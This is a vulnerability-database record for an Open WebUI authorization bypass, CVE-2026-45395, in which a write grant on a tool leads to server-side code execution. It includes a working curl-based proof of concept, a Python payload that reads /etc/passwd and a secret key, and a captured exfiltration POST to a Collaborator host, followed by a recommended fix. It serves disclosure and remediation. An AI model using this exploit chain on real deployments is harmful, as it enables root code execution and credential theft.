{"id":"CVE-2026-45395","aliases":["GHSA-p4fx-23fq-jfg6"],"url":"https://o3.security/vulnerability/CVE-2026-45395","summary":"Open WebUI: Missing `workspace.tools` Authorization Check on Tool Update Endpoint Allows Privilege Escalation to Code Execution","details":"### Summary\n\nThe tool update endpoint (`POST /api/v1/tools/id/{id}/update`) is missing the `workspace.tools` permission check that is present on the tool create endpoint. This allows a user who has been explicitly **denied** tool management capabilities ( and who the administrator considers **untrusted** for code execution )  to replace a tool's server-side Python content and trigger execution, bypassing the intended `workspace.tools` security boundary.\n\nOpen WebUI's security policy correctly states that `workspace.tools` is the trust boundary for code execution: *\"Granting a user the ability to create Tools is equivalent to giving them shell access to the server.\"* This vulnerability breaks that boundary. A `write` access grant on a single tool is sufficient to bypass `workspace.tools` entirely.\n\nThis is **not** a report about exec() being unsandboxed (that is acknowledged as intended behavior). This is a report about a **missing authorization check** that allows an untrusted user to reach the exec() sink that should be gated behind `workspace.tools`.\n\n### Root Cause\n\nThe create and update endpoints for tools have **asymmetric authorization checks**. The create endpoint enforces the `workspace.tools` permission; the update endpoint does not.\n\n#### Create endpoint, enforces `workspace.tools`\n\n**File**: `backend/open_webui/routers/tools.py`, lines 326-345\n\n```python\n@router.post('/create', response_model=Optional[ToolResponse])\nasync def create_new_tools(\n    request: Request,\n    form_data: ToolForm,\n    user=Depends(get_verified_user),\n    db: AsyncSession = Depends(get_async_session),\n):\n    if user.role != 'admin' and not (\n        await has_permission(\n            user.id, 'workspace.tools',                    # ← CHECKED\n            request.app.state.config.USER_PERMISSIONS, db=db\n        )\n        or await has_permission(\n            user.id, 'workspace.tools_import',             # ← CHECKED\n            request.app.state.config.USER_PERMISSIONS, db=db\n        )\n    ):\n        raise HTTPException(\n            status_code=status.HTTP_401_UNAUTHORIZED,\n            detail=ERROR_MESSAGES.UNAUTHORIZED,\n        )\n    # ... proceeds to exec(content, ...) at line 367\n```\n\n#### Update endpoint  does NOT enforce `workspace.tools`\n\n**File**: `backend/open_webui/routers/tools.py`, lines 451-485\n\n```python\n@router.post('/id/{id}/update', response_model=Optional[ToolModel])\nasync def update_tools_by_id(\n    request: Request,\n    id: str,\n    form_data: ToolForm,\n    user=Depends(get_verified_user),\n    db: AsyncSession = Depends(get_async_session),\n):\n    tools = await Tools.get_tool_by_id(id, db=db)\n    # ...\n\n    if (\n        tools.user_id != user.id\n        and not await AccessGrants.has_access(\n            user_id=user.id,\n            resource_type='tool',\n            resource_id=tools.id,\n            permission='write',                            # ← only checks write grant\n            db=db,\n        )\n        and user.role != 'admin'\n    ):\n        raise HTTPException(\n            status_code=status.HTTP_401_UNAUTHORIZED,\n            detail=ERROR_MESSAGES.UNAUTHORIZED,\n        )\n    # NOTE: No has_permission(user.id, 'workspace.tools', ...) check\n\n    # ... proceeds to exec(content, ...) at line 485\n    tool_module, frontmatter = await load_tool_module_by_id(id, content=form_data.content)\n```\n\nThe `write` access grant is a collaboration primitive used across the application (knowledge bases, prompts, models, tools) for content editing. On every other resource type, a `write` grant allows editing metadata and content. On tools specifically, because the update endpoint triggers `exec()`, a `write` grant silently escalates to code execution but **only because the `workspace.tools` check is missing**. If the check were present (as it is on create), the `write` grant would not confer execution privilege.\n\n### Prerequisites\n\n1. **Attacker (Bob)**: A regular user account with **no** `workspace.tools` permission. `workspace.tools` is disabled by default (`config.py:1364-1366`), so this is the **default state** for all non-admin users.\n2. **Collaborator (Alice)**: A user with `workspace.tools` permission who creates a tool and grants `write` access to Bob. This is a normal collaboration workflow  Alice is sharing editing access, not granting code execution rights.\n3. No admin action required beyond the initial `workspace.tools` grant to Alice (which is the intended, documented workflow).\n\n**Note on default configuration**: The `workspace.tools` permission defaults to `false`. An administrator must explicitly enable it for at least one user (Alice). This is a **documented, recommended workflow**  the security policy explicitly describes granting `workspace.tools` to trusted users. The vulnerability is not that Alice has this permission; it is that Bob can bypass it.\n\n## Proof of Concept\n\n### Environment\n\n```bash\ndocker run -d -p 3000:8080 --name open-webui ghcr.io/open-webui/open-webui:main\n```\n\nDefault configuration. Admin creates an account, enables `workspace.tools` for trusted users via Admin Panel > Settings > User Permissions.\n\n### Step-by-step reproduction\n\n**Step 1  Setup users**\n\nCreate two non-admin users: Alice (trusted, will get `workspace.tools`) and Bob (untrusted, will NOT get `workspace.tools`).\n\n```bash\nADMIN_TOKEN=\"<admin-jwt>\"\nBASE=\"http://localhost:3000\"\n\n# Create Alice\nALICE=$(curl -s -X POST \"$BASE/api/v1/auths/add\" \\\n  -H \"Authorization: Bearer $ADMIN_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"alice\",\"email\":\"alice@test.com\",\"password\":\"alice123\",\"role\":\"user\"}')\nALICE_TOKEN=$(echo $ALICE | jq -r .token)\nALICE_ID=$(echo $ALICE | jq -r .id)\n\n# Create Bob\nBOB=$(curl -s -X POST \"$BASE/api/v1/auths/add\" \\\n  -H \"Authorization: Bearer $ADMIN_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"bob\",\"email\":\"bob@test.com\",\"password\":\"bob12345\",\"role\":\"user\"}')\nBOB_TOKEN=$(echo $BOB | jq -r .token)\nBOB_ID=$(echo $BOB | jq -r .id)\n```\n\n**Step 2  Admin enables `workspace.tools` globally**\n\nThis is the documented workflow for allowing trusted users to build tools.\n\n```bash\n# Get current permissions\nPERMS=$(curl -s \"$BASE/api/v1/users/default/permissions\" \\\n  -H \"Authorization: Bearer $ADMIN_TOKEN\")\n\n# Enable workspace.tools\nPERMS=$(echo $PERMS | jq '.workspace.tools = true')\n\ncurl -s -X POST \"$BASE/api/v1/users/default/permissions\" \\\n  -H \"Authorization: Bearer $ADMIN_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"$PERMS\"\n```\n\n**Step 3  Alice creates a benign tool**\n\n```bash\ncurl -s -X POST \"$BASE/api/v1/tools/create\" \\\n  -H \"Authorization: Bearer $ALICE_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"id\": \"helper_tool\",\n    \"name\": \"Helper Tool\",\n    \"content\": \"class Tools:\\n    def hello(self):\\n        return \\\"Hello\\\"\\n\",\n    \"meta\": {\"description\": \"A benign helper\", \"manifest\": {}}\n  }'\n```\n\n**Step 4  Alice grants write access to Bob (collaboration)**\n\nAlice wants Bob to be able to edit the tool's description or parameters. This is a standard collaboration feature.\n\n```bash\ncurl -s -X POST \"$BASE/api/v1/tools/id/helper_tool/access/update\" \\\n  -H \"Authorization: Bearer $ALICE_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"{\\\"access_grants\\\": [\n    {\\\"principal_type\\\": \\\"user\\\", \\\"principal_id\\\": \\\"$BOB_ID\\\", \\\"permission\\\": \\\"write\\\"}\n  ]}\"\n```\n\n**Step 5  Admin disables `workspace.tools`**\n\nAdmin revokes the global permission. Now neither Alice nor Bob (nor any non-admin) should be able to execute code via tools.\n\n```bash\nPERMS=$(echo $PERMS | jq '.workspace.tools = false')\n\ncurl -s -X POST \"$BASE/api/v1/users/default/permissions\" \\\n  -H \"Authorization: Bearer $ADMIN_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \"$PERMS\"\n```\n\n**Step 6  Verify Bob CANNOT create tools**\n\n```bash\ncurl -s -X POST \"$BASE/api/v1/tools/create\" \\\n  -H \"Authorization: Bearer $BOB_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"id\": \"bob_test\",\n    \"name\": \"Test\",\n    \"content\": \"class Tools: pass\",\n    \"meta\": {\"description\": \"test\", \"manifest\": {}}\n  }'\n# Returns: HTTP 401  \"401 Unauthorized\"\n# Bob correctly CANNOT create tools.\n```\n\n**Step 7  Bob updates the tool content → code execution (the bypass)**\n\nBob replaces the tool's Python content. The update endpoint does not check `workspace.tools`, only the `write` access grant. The new content is passed to `exec()`.\n\n```bash\ncurl -s -X POST \"$BASE/api/v1/tools/id/helper_tool/update\" \\\n  -H \"Authorization: Bearer $BOB_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"id\": \"helper_tool\",\n    \"name\": \"Helper Tool\",\n    \"content\": \"import os, sys, json, platform, asyncio\\n\\nproof = {\\n    \\\"poc\\\": \\\"workspace.tools bypass via write grant\\\",\\n    \\\"whoami\\\": os.popen(\\\"whoami\\\").read().strip(),\\n    \\\"hostname\\\": os.popen(\\\"hostname\\\").read().strip(),\\n    \\\"pid\\\": os.getpid(),\\n    \\\"secret_key\\\": os.environ.get(\\\"WEBUI_SECRET_KEY\\\", \\\"\\\")[:16] + \\\"...\\\",\\n}\\ntry:\\n    proof[\\\"etc_passwd\\\"] = open(\\\"/etc/passwd\\\").read()[:300]\\nexcept: pass\\n\\ntry:\\n    from open_webui.models.tools import Tools as ToolsModel\\n    loop = asyncio.get_event_loop()\\n    loop.run_until_complete(\\n        ToolsModel.update_tool_by_id(\\\"helper_tool\\\", {\\n            \\\"meta\\\": {\\\"description\\\": json.dumps(proof), \\\"manifest\\\": {}}\\n        })\\n    )\\nexcept: pass\\n\\nclass Tools:\\n    def __init__(self): pass\\n\",\n    \"meta\": {\"description\": \"A benign helper\", \"manifest\": {}}\n  }'\n# Returns: HTTP 200  exec() ran. Bob achieved code execution.\n```\n\n### Actual PoC Output\n\nThe following is a complete run of the automated PoC script:\n\n```\nStep 1: Creating user 'bob' with NO workspace.tools permission...\n    Created bob: c945be42-6fd7-465d-80c9-2d5a99eb6c2f\n    Bob's role: user (NO workspace.tools)\n\nStep 2: Disabling workspace.tools globally...\n    workspace.tools = false (globally)\n\nStep 2b: Verifying bob CANNOT create tools (no permission)...\n    POST /tools/create as bob: HTTP 401\n    Correctly denied: 401 Unauthorized\n\nStep 3: Re-enabling workspace.tools for attacker, creating benign tool...\n    Tool 'poc_rce_2' created by attacker\n\nStep 4: Attacker grants write access on poc_rce_2 to bob...\n    Grant response: HTTP 200\n    Bob now has write access on poc_rce_2\n\nStep 5: Disabling workspace.tools globally again...\n    workspace.tools = false (globally)\n\nStep 6: Bob updates tool content with malicious Python...\n    Bob has: write grant on poc_rce_2 ONLY\n    Bob lacks: workspace.tools permission\n    Endpoint: POST /api/v1/tools/id/poc_rce_2/update\n    HTTP Status: 200\n    Tool updated  exec() ran with bob's request!\n\nStep 7: Reading exfiltrated proof from DB...\n\nPRIVILEGE ESCALATION CONFIRMED:\n{\n  \"poc\": \"Privilege Escalation: write-grant on tool -> RCE (no workspace.tools needed)\",\n  \"vuln\": \"tools.py:467-481 update endpoint has NO workspace.tools check\",\n  \"whoami\": \"root\",\n  \"hostname\": \"3ffa54b2792d\",\n  \"cwd\": \"/app/backend\",\n  \"python\": \"/usr/local/bin/python3\",\n  \"pid\": 1,\n  \"platform\": \"Linux-5.15.167.4-microsoft-standard-WSL2-x86_64-with-glibc2.36\",\n  \"secret_key\": \"9GDyak0KOfrakPTM...\",\n  \"etc_passwd_head\": \"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\\nsync:x:4:65534:sync:/bin:/bin/sync\\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\\nlp:x:7:7:lp:/va\"\n}\n```\n\n### Burp Collaborator Evidence\n\n<img width=\"1198\" height=\"555\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f643d26b-47eb-49b8-8178-7348ee57afe3\" />\n\n\nThe container made an outbound HTTP POST to a Collaborator server, confirming code execution from within the container:\n\n```http\nPOST /poc2 HTTP/1.1\nAccept-Encoding: identity\nContent-Length: 720\nHost: jvi4qe8yi4bu1x1wixnmktgp9gf73xrm.oastify.com\nUser-Agent: Python-urllib/3.11\nContent-Type: application/json\nConnection: close\n\n{\"poc\": \"Privilege Escalation: write-grant on tool -> RCE (no workspace.tools needed)\",\n \"vuln\": \"tools.py:467-481 update endpoint has NO workspace.tools check\",\n \"whoami\": \"root\", \"hostname\": \"3ffa54b2792d\", \"cwd\": \"/app/backend\",\n \"python\": \"/usr/local/bin/python3\", \"pid\": 1,\n \"platform\": \"Linux-5.15.167.4-microsoft-standard-WSL2-x86_64-with-glibc2.36\",\n \"secret_key\": \"9GDyak0KOfrakPTM...\",\n \"etc_passwd_head\": \"root:x:0:0:root:/root:/bin/bash\\ndaemon:x:1:1:...\"}\n```\n\n## Security Boundary Violated\n\nOpen WebUI's security policy defines `workspace.tools` as the trust boundary for code execution:\n\n> *\"Tool creation is controlled by the workspace.tools permission, which is disabled by default for non-admin users and should only be granted to fully trusted users who are equivalent to system administrators in terms of trust. Granting a user the ability to create Tools is equivalent to giving them shell access to the server.\"*\n\nThis vulnerability breaks that boundary:\n\n| Check | Create endpoint (line 333) | Update endpoint (line 467) |\n|-------|---------------------------|---------------------------|\n| `user.role == 'admin'` | Yes | Yes |\n| `has_permission('workspace.tools')` | **Yes** | **No** |\n| `has_permission('workspace.tools_import')` | **Yes** | **No** |\n| `AccessGrants.has_access('write')` | No | Yes |\n| `tools.user_id == user.id` | No (new tool) | Yes |\n\nThe update endpoint substitutes `AccessGrants.has_access('write')` where `has_permission('workspace.tools')` should be. A `write` grant is a collaboration primitive for editing content; `workspace.tools` is the code execution trust boundary. These are different privilege levels, but the update endpoint conflates them.\n\n## Impact\n\nAn attacker with a regular user account and a `write` access grant on any single tool can:\n\n- Execute arbitrary server-side code as root (PID 1 in the default Docker deployment)\n- Read sensitive environment variables (`WEBUI_SECRET_KEY`, `OPENAI_API_KEY`, etc.)\n- Read/write the application database (all users' chats, files, API keys)\n- Read arbitrary files from the container filesystem\n- Make outbound network requests to internal services\n\nThe attacker **never** needs `workspace.tools` permission. The administrator's explicit decision to deny this user code execution capability is bypassed.\n\n## Remediation\n\n### Recommended Fix\n\nAdd the `workspace.tools` permission check to the update endpoint, matching the create endpoint's authorization gate:\n\n**File**: `backend/open_webui/routers/tools.py`, after line 481 (after the existing access check)\n\n```python\n# Add workspace.tools check for content changes (code execution)\nif form_data.content != tools.content:\n    if user.role != 'admin' and not (\n        await has_permission(\n            user.id, 'workspace.tools',\n            request.app.state.config.USER_PERMISSIONS, db=db\n        )\n        or await has_permission(\n            user.id, 'workspace.tools_import',\n            request.app.state.config.USER_PERMISSIONS, db=db\n        )\n    ):\n        raise HTTPException(\n            status_code=status.HTTP_401_UNAUTHORIZED,\n            detail=ERROR_MESSAGES.UNAUTHORIZED,\n        )\n```\n\nThis allows users with `write` grants to update tool metadata (name, description, valves) without `workspace.tools`, but requires the permission for content changes that trigger code execution.","published":"2026-05-15T20:33:02.252Z","modified":"2026-08-12T03:51:21.950173803Z","cvss":{"score":7.2,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"},"epss":{"score":0.00437,"percentile":0.36449,"asOf":"2026-08-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"open-webui","fixedVersion":"0.9.5"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45395.json"},{"type":"ADVISORY","url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-p4fx-23fq-jfg6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45395"},{"type":"PACKAGE","url":"https://github.com/open-webui/open-webui"},{"type":"WEB","url":"https://github.com/open-webui/open-webui/releases/tag/v0.9.5"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:21.950173803Z"}}